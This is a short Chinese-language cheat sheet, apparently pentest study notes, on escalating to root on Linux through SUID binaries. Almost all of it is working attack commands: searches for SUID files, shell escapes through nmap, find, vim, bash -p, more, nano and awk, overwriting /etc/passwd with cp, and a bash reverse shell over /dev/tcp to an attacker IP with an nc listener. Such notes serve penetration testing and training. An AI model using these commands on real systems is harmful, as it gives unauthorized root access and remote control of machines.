参考文章: https://www.freebuf.com/articles/web/272617.html
SUID的概念,不多赘述。
查找具有suid权限的可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
执行suid程序时若能执行命令,则可以利用。
nmap
进入交互模式: nmap --interactive
进入交互模式后,可以执行 !sh拿到shell:
nmap> !sh
msf当中也有利用nmap进行提权的模块:exploit/unix/local/setuid_nmap
find
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find anyfile -exec '/bin/sh' \;
也可以搭配nc反弹shell
find anyfile -exec bash -c 'bash -i >& /dev/tcp/攻击端IP/4444 0>&1' \;
攻击端:
nc -lvvp 4444
vim
:set shell = '/bin/sh'
:shell
bash
bash -p
bash-3.2#
more & less
需要读取一个比较大的文件进入翻页功能
more /etc/passwd
#在more中输入:
!/bin/sh
nano
nano #进入nano编辑器
Ctrl + R
Ctrl + X
cp
用来覆盖旧的/etc/passwd
awk
awk 'BEGIN {system("/bin/bash")}'